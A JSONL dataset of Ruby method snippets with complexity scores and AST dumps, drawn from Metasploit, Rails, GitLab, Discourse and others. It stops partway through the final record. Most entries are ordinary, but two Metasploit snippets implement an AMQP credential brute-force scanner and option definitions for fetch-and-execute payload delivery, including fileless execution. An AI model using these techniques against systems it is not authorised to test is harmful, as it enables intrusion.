{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/amqp/amqp_login.rb","start_line":53,"raw_source":"def run_host(ip)\n    cred_collection = build_credential_collection(\n      username: datastore['USERNAME'],\n      password: datastore['PASSWORD']\n    )\n\n    scanner = Metasploit::Framework::LoginScanner::AMQP.new(\n      host: ip,\n      port: datastore['RPORT'],\n      cred_details: cred_collection,\n      stop_on_success: datastore['STOP_ON_SUCCESS'],\n      bruteforce_speed: datastore['BRUTEFORCE_SPEED'],\n      framework: framework,\n      framework_module: self,\n      ssl: datastore['SSL'],\n      ssl_version: datastore['SSLVersion']\n    )\n\n    scanner.scan! do |result|\n      credential_data = result.to_h\n      credential_data.merge!(\n        module_fullname: fullname,\n        workspace_id: myworkspace_id\n      )\n      if result.success?\n        credential_core = create_credential(credential_data)\n        credential_data[:core] = credential_core\n        create_credential_login(credential_data)\n\n        print_good \"#{ip}:#{datastore['RPORT']} - Login Successful: #{result.credential}\"\n      else\n        invalidate_login(credential_data)\n        vprint_error \"#{ip}:#{datastore['RPORT']} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})\"\n      end\n    end\n  end","complexity_score":57.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cred_collection\",{\"type\":\"send\",\"children\":[null,\"build_credential_collection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scanner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"LoginScanner\"]},\"AMQP\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cred_details\"]},{\"type\":\"lvar\",\"children\":[\"cred_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop_on_success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bruteforce_speed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BRUTEFORCE_SPEED\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"framework\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"framework_module\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSLVersion\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" - Login Successful: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" - LOGIN FAILED: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"proof\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}]}]}]}","id":"8181d795-160a-4c36-991f-cc7a4c959abd"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/errors_test.rb","start_line":77,"raw_source":"def test_has_key?\n    errors = ActiveModel::Errors.new(Person.new)\n    errors.add(:foo, \"omg\")\n    assert_equal true, errors.has_key?(:foo), \"errors should have key :foo\"\n    assert_equal true, errors.has_key?(\"foo\"), \"errors should have key 'foo' as :foo\"\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_key?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Errors\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"omg\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"str\",\"children\":[\"errors should have key :foo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"str\",\"children\":[\"errors should have key 'foo' as :foo\"]}]}]}]}","id":"cf51c2f7-adb8-47fe-8841-e2ab6761d8d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/browser.rb","start_line":226,"raw_source":"def self.append_chrome_profile_to_capabilities(chrome_options)\n        return if chrome_options[:args].include?(chrome_profile_location)\n\n        chrome_options[:args] << \"user-data-dir=#{chrome_profile_location}\"\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"append_chrome_profile_to_capabilities\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chrome_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chrome_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"args\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"chrome_profile_location\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chrome_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"args\"]}]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user-data-dir=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chrome_profile_location\"]}]}]}]}]}]}","id":"c500a02c-f0de-451c-a62d-a40c97492fd0"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20250125162658_fix_broken_open_ai_embeddings_config.rb","start_line":27,"raw_source":"def fetch_setting(name)\n    DB.query_single(\n      \"SELECT value FROM site_settings WHERE name = :setting_name\",\n      setting_name: name,\n    ).first || ENV[\"DISCOURSE_#{name&.upcase}\"]\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = :setting_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DISCOURSE_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"upcase\"]}]}]}]}]}]}","id":"44bff0dc-cbb8-4f42-ac46-b05b17bb923f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/reimbursement.rb","start_line":105,"raw_source":"def unpaid_amount\n      total - paid_amount\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unpaid_amount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"paid_amount\"]}]}]}","id":"3c8105b6-992e-4c7a-aeb8-00fe6a3d1503"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/internal_events_cli_helpers.rb","start_line":8,"raw_source":"def stub_product_groups(body)\n    allow(Net::HTTP).to receive(:get)\n      .with(URI(InternalEventsCli::Helpers::GroupOwnership::STAGES_YML))\n      .and_return(body)\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_product_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"get\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InternalEventsCli\"]},\"Helpers\"]},\"GroupOwnership\"]},\"STAGES_YML\"]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"7a3d4f5f-cdcb-4c41-838d-1d5b10d6fc91"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/adapter/fetch/linux_options.rb","start_line":2,"raw_source":"def initialize(info = {})\n    super\n    register_options(\n      [\n        Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP GET TFTP TNFTP WGET]]),\n        Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),\n        Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\\s/\\\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),\n        Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]),\n        Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])\n      ]\n    )\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"FETCH_COMMAND\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Command to fetch payload\"]},{\"type\":\"str\",\"children\":[\"CURL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CURL\"]},{\"type\":\"str\",\"children\":[\"FTP\"]},{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"str\",\"children\":[\"TFTP\"]},{\"type\":\"str\",\"children\":[\"TNFTP\"]},{\"type\":\"str\",\"children\":[\"WGET\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"FETCH_FILELESS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8\"]},{\"type\":\"str\",\"children\":[\"none\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]},{\"type\":\"str\",\"children\":[\"bash\"]},{\"type\":\"str\",\"children\":[\"python3.8+\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FETCH_FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Name to use on remote system when storing payload; cannot contain spaces or slashes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[12]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[^\\\\s/\\\\\\\\]*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FETCH_FILELESS\"]},{\"type\":\"str\",\"children\":[\"==\"]},{\"type\":\"str\",\"children\":[\"none\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"FETCH_PIPE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Host both the binary payload and the command so it can be piped directly to the shell.\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FETCH_COMMAND\"]},{\"type\":\"str\",\"children\":[\"in\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CURL\"]},{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"str\",\"children\":[\"WGET\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FETCH_WRITABLE_DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Remote writable dir to store payload; cannot contain spaces\"]},{\"type\":\"str\",\"children\":[\"./\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\S*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FETCH_FILELESS\"]},{\"type\":\"str\",\"children\":[\"==\"]},{\"type\":\"str\",\"children\":[\"none\"]}]}]}]}]}]}]}]}]}","id":"80461215-09c2-41ec-967d-a3ab03c056b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_settings_helper.rb","start_line":195,"raw_source":"def repository_storages_options_json\n    options = Gitlab.config.repositories.storages.map do |name, storage|\n      {\n        label: \"#{name} - #{storage['gitaly_address']}\",\n        value: name\n      }\n    end\n\n    options.to_json\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_storages_options_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"repositories\"]},\"storages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"[]\",{\"type\":\"str\",\"children\":[\"gitaly_address\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"to_json\"]}]}]}","id":"a231a90b-28e4-4acb-b864-36010530f355"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/theme.rb","start_line":109,"raw_source":"def find(n)\n        registry[n.to_s]\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"to_s\"]}]}]}","id":"3fe7b456-1462-4f79-a363-d240f0ffb065"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/integrations/irker_worker.rb","start_line":85,"raw_source":"def send_branch_updates(push_data)\n      message =\n        if Gitlab::Git.blank_ref?(push_data['before'])\n          new_branch_message\n        elsif Gitlab::Git.blank_ref?(push_data['after'])\n          delete_branch_message\n        end\n\n      send_to_irker(message)\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_branch_updates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"push_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"blank_ref?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"before\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new_branch_message\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"blank_ref?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"after\"]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_branch_message\"]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"send_to_irker\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"1a558d4e-3a86-49f2-802d-0d0fa38b5cd8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/records_uploads.rb","start_line":61,"raw_source":"def build_upload\n      Upload.new(\n        uploader: self.class.to_s,\n        size: file.size,\n        path: upload_path,\n        model: model,\n        mount_point: mounted_as,\n        version: VERSION\n      )\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_upload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uploader\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"upload_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mount_point\"]},{\"type\":\"send\",\"children\":[null,\"mounted_as\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"const\",\"children\":[null,\"VERSION\"]}]}]}]}]}","id":"7519016a-0777-4ef0-843f-82bacc0e2a14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/group_descendants_finder.rb","start_line":197,"raw_source":"def by_active(descendants)\n    return descendants if params[:active].nil?\n\n    params[:active] ? descendants.self_and_ancestors_active : descendants.self_or_ancestors_inactive\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"by_active\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"descendants\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendants\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendants\"]},\"self_and_ancestors_active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendants\"]},\"self_or_ancestors_inactive\"]}]}]}]}","id":"13e1b609-d018-4c33-89d1-792e4fd86bc8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_snmp.rb","start_line":64,"raw_source":"def self.trap_v2(inputs)\n    _log.info(\">> inputs=#{inputs.inspect}\")\n    host = inputs[:host] || inputs['host']\n    port = inputs[:port] || inputs['port'] || 162\n\n    # An integer respresenting the number of hundredths of a second that this system has been up.\n    uptime = inputs[:sysuptime] || inputs['sysuptime'] || system_uptime\n\n    # trap_oid: An ObjectId or String with the OID identifier for this trap.\n    trap_oid = inputs[:trap_oid] || inputs['trap_oid']\n    raise MiqException::Error, _(\"MiqSnmp.trap_v2: Ensure that a trap object id is provided\") if trap_oid.nil?\n\n    trap_oid = subst_oid(trap_oid)\n\n    # A list of additional varbinds to send with the trap.\n    object_list = inputs[:object_list] || inputs['object_list'] || []\n    vars = create_var_bind_list(object_list, trap_oid)\n\n    hosts = host.kind_of?(Array) ? host : [host]\n    hosts.each do |lhost|\n      _log.info(\"Sending SNMP Trap (v2) to host=[#{lhost}], port=[#{port}], trap_oid=[#{trap_oid}], vars=#{vars.inspect}\")\n      SNMP::Manager.open(:Host => lhost, :TrapPort => port) do |manager|\n        manager.trap_v2(uptime, trap_oid, vars)\n      end\n    end\n  end","complexity_score":50.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"trap_v2\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inputs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\">> 